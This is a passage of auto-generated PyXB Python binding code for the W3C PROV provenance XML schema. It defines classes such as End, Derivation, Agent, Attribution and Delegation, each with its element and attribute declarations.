{http://www.w3.org/ns/prov#}location uses Python identifier location __location = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'location'), 'location', '__httpwww_w3_orgnsprov_Start_httpwww_w3_orgnsprovlocation', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 424, 2), ) location = property(__location.value, __location.set, None, None) # Attribute {http://www.w3.org/ns/prov#}id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'id'), 'id', '__httpwww_w3_orgnsprov_Start_httpwww_w3_orgnsprovid', pyxb.binding.datatypes.QName) __id._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 460, 2) __id._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 95, 4) id = property(__id.value, __id.set, None, None) _HasWildcardElement = True _ElementMap.update({ __activity.name() : __activity, __trigger.name() : __trigger, __starter.name() : __starter, __time.name() : __time, __label.name() : __label, __role.name() : __role, __type.name() : __type, __location.name() : __location }) _AttributeMap.update({ __id.name() : __id }) _module_typeBindings.Start = Start Namespace.addCategoryObject('typeBinding', 'Start', Start) # Complex type {http://www.w3.org/ns/prov#}End with content type ELEMENT_ONLY class End (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}End with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'End') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 98, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}activity uses Python identifier activity __activity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'activity'), 'activity', '__httpwww_w3_orgnsprov_End_httpwww_w3_orgnsprovactivity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 100, 6), ) activity = property(__activity.value, __activity.set, None, None) # Element {http://www.w3.org/ns/prov#}trigger uses Python identifier trigger __trigger = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'trigger'), 'trigger', '__httpwww_w3_orgnsprov_End_httpwww_w3_orgnsprovtrigger', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 101, 6), ) trigger = property(__trigger.value, __trigger.set, None, None) # Element {http://www.w3.org/ns/prov#}ender uses Python identifier ender __ender = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'ender'), 'ender', '__httpwww_w3_orgnsprov_End_httpwww_w3_orgnsprovender', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 102, 6), ) ender = property(__ender.value, __ender.set, None, None) # Element {http://www.w3.org/ns/prov#}time uses Python identifier time __time = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'time'), 'time', '__httpwww_w3_orgnsprov_End_httpwww_w3_orgnsprovtime', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 103, 6), ) time = property(__time.value, __time.set, None, None) # Element {http://www.w3.org/ns/prov#}label uses Python identifier label __label = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'label'), 'label', '__httpwww_w3_orgnsprov_End_httpwww_w3_orgnsprovlabel', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2), ) label = property(__label.value, __label.set, None, None) # Element {http://www.w3.org/ns/prov#}role uses Python identifier role __role = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'role'), 'role', '__httpwww_w3_orgnsprov_End_httpwww_w3_orgnsprovrole', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 422, 2), ) role = property(__role.value, __role.set, None, None) # Element {http://www.w3.org/ns/prov#}type uses Python identifier type __type = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'type'), 'type', '__httpwww_w3_orgnsprov_End_httpwww_w3_orgnsprovtype', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2), ) type = property(__type.value, __type.set, None, None) # Element {http://www.w3.org/ns/prov#}location uses Python identifier location __location = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'location'), 'location', '__httpwww_w3_orgnsprov_End_httpwww_w3_orgnsprovlocation', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 424, 2), ) location = property(__location.value, __location.set, None, None) # Attribute {http://www.w3.org/ns/prov#}id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'id'), 'id', '__httpwww_w3_orgnsprov_End_httpwww_w3_orgnsprovid', pyxb.binding.datatypes.QName) __id._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 460, 2) __id._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 110, 4) id = property(__id.value, __id.set, None, None) _HasWildcardElement = True _ElementMap.update({ __activity.name() : __activity, __trigger.name() : __trigger, __ender.name() : __ender, __time.name() : __time, __label.name() : __label, __role.name() : __role, __type.name() : __type, __location.name() : __location }) _AttributeMap.update({ __id.name() : __id }) _module_typeBindings.End = End Namespace.addCategoryObject('typeBinding', 'End', End) # Complex type {http://www.w3.org/ns/prov#}Invalidation with content type ELEMENT_ONLY class Invalidation (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Invalidation with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Invalidation') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 113, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}entity uses Python identifier entity __entity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'entity'), 'entity', '__httpwww_w3_orgnsprov_Invalidation_httpwww_w3_orgnsproventity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 115, 6), ) entity = property(__entity.value, __entity.set, None, None) # Element {http://www.w3.org/ns/prov#}activity uses Python identifier activity __activity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'activity'), 'activity', '__httpwww_w3_orgnsprov_Invalidation_httpwww_w3_orgnsprovactivity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 116, 6), ) activity = property(__activity.value, __activity.set, None, None) # Element {http://www.w3.org/ns/prov#}time uses Python identifier time __time = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'time'), 'time', '__httpwww_w3_orgnsprov_Invalidation_httpwww_w3_orgnsprovtime', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 117, 6), ) time = property(__time.value, __time.set, None, None) # Element {http://www.w3.org/ns/prov#}label uses Python identifier label __label = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'label'), 'label', '__httpwww_w3_orgnsprov_Invalidation_httpwww_w3_orgnsprovlabel', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2), ) label = property(__label.value, __label.set, None, None) # Element {http://www.w3.org/ns/prov#}role uses Python identifier role __role = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'role'), 'role', '__httpwww_w3_orgnsprov_Invalidation_httpwww_w3_orgnsprovrole', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 422, 2), ) role = property(__role.value, __role.set, None, None) # Element {http://www.w3.org/ns/prov#}type uses Python identifier type __type = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'type'), 'type', '__httpwww_w3_orgnsprov_Invalidation_httpwww_w3_orgnsprovtype', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2), ) type = property(__type.value, __type.set, None, None) # Element {http://www.w3.org/ns/prov#}location uses Python identifier location __location = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'location'), 'location', '__httpwww_w3_orgnsprov_Invalidation_httpwww_w3_orgnsprovlocation', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 424, 2), ) location = property(__location.value, __location.set, None, None) # Attribute {http://www.w3.org/ns/prov#}id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'id'), 'id', '__httpwww_w3_orgnsprov_Invalidation_httpwww_w3_orgnsprovid', pyxb.binding.datatypes.QName) __id._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 460, 2) __id._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 124, 4) id = property(__id.value, __id.set, None, None) _HasWildcardElement = True _ElementMap.update({ __entity.name() : __entity, __activity.name() : __activity, __time.name() : __time, __label.name() : __label, __role.name() : __role, __type.name() : __type, __location.name() : __location }) _AttributeMap.update({ __id.name() : __id }) _module_typeBindings.Invalidation = Invalidation Namespace.addCategoryObject('typeBinding', 'Invalidation', Invalidation) # Complex type {http://www.w3.org/ns/prov#}Communication with content type ELEMENT_ONLY class Communication (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Communication with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Communication') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 128, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}informed uses Python identifier informed __informed = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'informed'), 'informed', '__httpwww_w3_orgnsprov_Communication_httpwww_w3_orgnsprovinformed', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 130, 6), ) informed = property(__informed.value, __informed.set, None, None) # Element {http://www.w3.org/ns/prov#}informant uses Python identifier informant __informant = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'informant'), 'informant', '__httpwww_w3_orgnsprov_Communication_httpwww_w3_orgnsprovinformant', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 131, 6), ) informant = property(__informant.value, __informant.set, None, None) # Element {http://www.w3.org/ns/prov#}label uses Python identifier label __label = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'label'), 'label', '__httpwww_w3_orgnsprov_Communication_httpwww_w3_orgnsprovlabel', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2), ) label = property(__label.value, __label.set, None, None) # Element {http://www.w3.org/ns/prov#}type uses Python identifier type __type = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'type'), 'type', '__httpwww_w3_orgnsprov_Communication_httpwww_w3_orgnsprovtype', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2), ) type = property(__type.value, __type.set, None, None) # Attribute {http://www.w3.org/ns/prov#}id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'id'), 'id', '__httpwww_w3_orgnsprov_Communication_httpwww_w3_orgnsprovid', pyxb.binding.datatypes.QName) __id._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 460, 2) __id._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 136, 4) id = property(__id.value, __id.set, None, None) _HasWildcardElement = True _ElementMap.update({ __informed.name() : __informed, __informant.name() : __informant, __label.name() : __label, __type.name() : __type }) _AttributeMap.update({ __id.name() : __id }) _module_typeBindings.Communication = Communication Namespace.addCategoryObject('typeBinding', 'Communication', Communication) # Complex type {http://www.w3.org/ns/prov#}Derivation with content type ELEMENT_ONLY class Derivation (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Derivation with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Derivation') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 142, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}generatedEntity uses Python identifier generatedEntity __generatedEntity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'generatedEntity'), 'generatedEntity', '__httpwww_w3_orgnsprov_Derivation_httpwww_w3_orgnsprovgeneratedEntity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 144, 6), ) generatedEntity = property(__generatedEntity.value, __generatedEntity.set, None, None) # Element {http://www.w3.org/ns/prov#}usedEntity uses Python identifier usedEntity __usedEntity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'usedEntity'), 'usedEntity', '__httpwww_w3_orgnsprov_Derivation_httpwww_w3_orgnsprovusedEntity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 145, 6), ) usedEntity = property(__usedEntity.value, __usedEntity.set, None, None) # Element {http://www.w3.org/ns/prov#}activity uses Python identifier activity __activity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'activity'), 'activity', '__httpwww_w3_orgnsprov_Derivation_httpwww_w3_orgnsprovactivity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 146, 6), ) activity = property(__activity.value, __activity.set, None, None) # Element {http://www.w3.org/ns/prov#}generation uses Python identifier generation __generation = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'generation'), 'generation', '__httpwww_w3_orgnsprov_Derivation_httpwww_w3_orgnsprovgeneration', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 147, 6), ) generation = property(__generation.value, __generation.set, None, None) # Element {http://www.w3.org/ns/prov#}usage uses Python identifier usage __usage = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'usage'), 'usage', '__httpwww_w3_orgnsprov_Derivation_httpwww_w3_orgnsprovusage', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 148, 6), ) usage = property(__usage.value, __usage.set, None, None) # Element {http://www.w3.org/ns/prov#}label uses Python identifier label __label = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'label'), 'label', '__httpwww_w3_orgnsprov_Derivation_httpwww_w3_orgnsprovlabel', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2), ) label = property(__label.value, __label.set, None, None) # Element {http://www.w3.org/ns/prov#}type uses Python identifier type __type = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'type'), 'type', '__httpwww_w3_orgnsprov_Derivation_httpwww_w3_orgnsprovtype', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2), ) type = property(__type.value, __type.set, None, None) # Attribute {http://www.w3.org/ns/prov#}id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'id'), 'id', '__httpwww_w3_orgnsprov_Derivation_httpwww_w3_orgnsprovid', pyxb.binding.datatypes.QName) __id._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 460, 2) __id._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 153, 4) id = property(__id.value, __id.set, None, None) _HasWildcardElement = True _ElementMap.update({ __generatedEntity.name() : __generatedEntity, __usedEntity.name() : __usedEntity, __activity.name() : __activity, __generation.name() : __generation, __usage.name() : __usage, __label.name() : __label, __type.name() : __type }) _AttributeMap.update({ __id.name() : __id }) _module_typeBindings.Derivation = Derivation Namespace.addCategoryObject('typeBinding', 'Derivation', Derivation) # Complex type {http://www.w3.org/ns/prov#}Agent with content type ELEMENT_ONLY class Agent (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Agent with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Agent') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 180, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}label uses Python identifier label __label = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'label'), 'label', '__httpwww_w3_orgnsprov_Agent_httpwww_w3_orgnsprovlabel', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2), ) label = property(__label.value, __label.set, None, None) # Element {http://www.w3.org/ns/prov#}type uses Python identifier type __type = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'type'), 'type', '__httpwww_w3_orgnsprov_Agent_httpwww_w3_orgnsprovtype', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2), ) type = property(__type.value, __type.set, None, None) # Element {http://www.w3.org/ns/prov#}location uses Python identifier location __location = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'location'), 'location', '__httpwww_w3_orgnsprov_Agent_httpwww_w3_orgnsprovlocation', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 424, 2), ) location = property(__location.value, __location.set, None, None) # Attribute {http://www.w3.org/ns/prov#}id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'id'), 'id', '__httpwww_w3_orgnsprov_Agent_httpwww_w3_orgnsprovid', pyxb.binding.datatypes.QName) __id._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 460, 2) __id._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 187, 4) id = property(__id.value, __id.set, None, None) _HasWildcardElement = True _ElementMap.update({ __label.name() : __label, __type.name() : __type, __location.name() : __location }) _AttributeMap.update({ __id.name() : __id }) _module_typeBindings.Agent = Agent Namespace.addCategoryObject('typeBinding', 'Agent', Agent) # Complex type {http://www.w3.org/ns/prov#}Attribution with content type ELEMENT_ONLY class Attribution (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Attribution with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Attribution') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 211, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}entity uses Python identifier entity __entity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'entity'), 'entity', '__httpwww_w3_orgnsprov_Attribution_httpwww_w3_orgnsproventity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 213, 6), ) entity = property(__entity.value, __entity.set, None, None) # Element {http://www.w3.org/ns/prov#}agent uses Python identifier agent __agent = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'agent'), 'agent', '__httpwww_w3_orgnsprov_Attribution_httpwww_w3_orgnsprovagent', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 214, 6), ) agent = property(__agent.value, __agent.set, None, None) # Element {http://www.w3.org/ns/prov#}label uses Python identifier label __label = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'label'), 'label', '__httpwww_w3_orgnsprov_Attribution_httpwww_w3_orgnsprovlabel', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2), ) label = property(__label.value, __label.set, None, None) # Element {http://www.w3.org/ns/prov#}type uses Python identifier type __type = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'type'), 'type', '__httpwww_w3_orgnsprov_Attribution_httpwww_w3_orgnsprovtype', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2), ) type = property(__type.value, __type.set, None, None) # Attribute {http://www.w3.org/ns/prov#}id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'id'), 'id', '__httpwww_w3_orgnsprov_Attribution_httpwww_w3_orgnsprovid', pyxb.binding.datatypes.QName) __id._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 460, 2) __id._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 219, 4) id = property(__id.value, __id.set, None, None) _HasWildcardElement = True _ElementMap.update({ __entity.name() : __entity, __agent.name() : __agent, __label.name() : __label, __type.name() : __type }) _AttributeMap.update({ __id.name() : __id }) _module_typeBindings.Attribution = Attribution Namespace.addCategoryObject('typeBinding', 'Attribution', Attribution) # Complex type {http://www.w3.org/ns/prov#}Association with content type ELEMENT_ONLY class Association (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Association with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Association') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 222, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}activity uses Python identifier activity __activity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'activity'), 'activity', '__httpwww_w3_orgnsprov_Association_httpwww_w3_orgnsprovactivity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 224, 6), ) activity = property(__activity.value, __activity.set, None, None) # Element {http://www.w3.org/ns/prov#}agent uses Python identifier agent __agent = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'agent'), 'agent', '__httpwww_w3_orgnsprov_Association_httpwww_w3_orgnsprovagent', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 225, 6), ) agent = property(__agent.value, __agent.set, None, None) # Element {http://www.w3.org/ns/prov#}plan uses Python identifier plan __plan = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'plan'), 'plan', '__httpwww_w3_orgnsprov_Association_httpwww_w3_orgnsprovplan', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 226, 6), ) plan = property(__plan.value, __plan.set, None, None) # Element {http://www.w3.org/ns/prov#}label uses Python identifier label __label = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'label'), 'label', '__httpwww_w3_orgnsprov_Association_httpwww_w3_orgnsprovlabel', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2), ) label = property(__label.value, __label.set, None, None) # Element {http://www.w3.org/ns/prov#}role uses Python identifier role __role = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'role'), 'role', '__httpwww_w3_orgnsprov_Association_httpwww_w3_orgnsprovrole', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 422, 2), ) role = property(__role.value, __role.set, None, None) # Element {http://www.w3.org/ns/prov#}type uses Python identifier type __type = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'type'), 'type', '__httpwww_w3_orgnsprov_Association_httpwww_w3_orgnsprovtype', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2), ) type = property(__type.value, __type.set, None, None) # Attribute {http://www.w3.org/ns/prov#}id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'id'), 'id', '__httpwww_w3_orgnsprov_Association_httpwww_w3_orgnsprovid', pyxb.binding.datatypes.QName) __id._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 460, 2) __id._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 232, 4) id = property(__id.value, __id.set, None, None) _HasWildcardElement = True _ElementMap.update({ __activity.name() : __activity, __agent.name() : __agent, __plan.name() : __plan, __label.name() : __label, __role.name() : __role, __type.name() : __type }) _AttributeMap.update({ __id.name() : __id }) _module_typeBindings.Association = Association Namespace.addCategoryObject('typeBinding', 'Association', Association) # Complex type {http://www.w3.org/ns/prov#}Delegation with content type ELEMENT_ONLY class Delegation (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Delegation with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Delegation') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 236, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}delegate uses Python identifier delegate __delegate = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'delegate'), 'delegate', '__httpwww_w3_orgnsprov_Delegation_httpwww_w3_orgnsprovdelegate', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 238, 6), ) delegate = property(__delegate.value, __delegate.set, None, None) # Element {http://www.w3.org/ns/prov#}responsible uses Python identifier responsible __responsible = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'responsible'), 'responsible', '__httpwww_w3_orgnsprov_Delegation_httpwww_w3_orgnsprovresponsible', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 239, 6), ) responsible = property(__responsible.value, __responsible.set, None, None) # Element {http://www.w3.org/ns/prov#}activity uses Python identifier activity __activity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'activity'), 'activity', '__httpwww_w3_orgnsprov_Delegation_httpwww_w3_orgnsprovactivity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 240, 6), ) activity = property(__activity.value, __activity.set, None, None) # Element {http://www.w3.org/ns/prov#}label uses Python identifier label __label = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'label'), 'label', '__httpwww_w3_orgnsprov_Delegation_httpwww_w3_orgnsprovlabel', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2), ) label = property(__label.value, __label.set, None, None) # Element {http://www.w3.org/ns/prov#}type uses Python identifier type __type = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'type'), 'type', '__httpwww_w3_orgnsprov_Delegation_httpwww_w3_orgnsprovtype', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2), ) type = property(__type.value, __type.set, 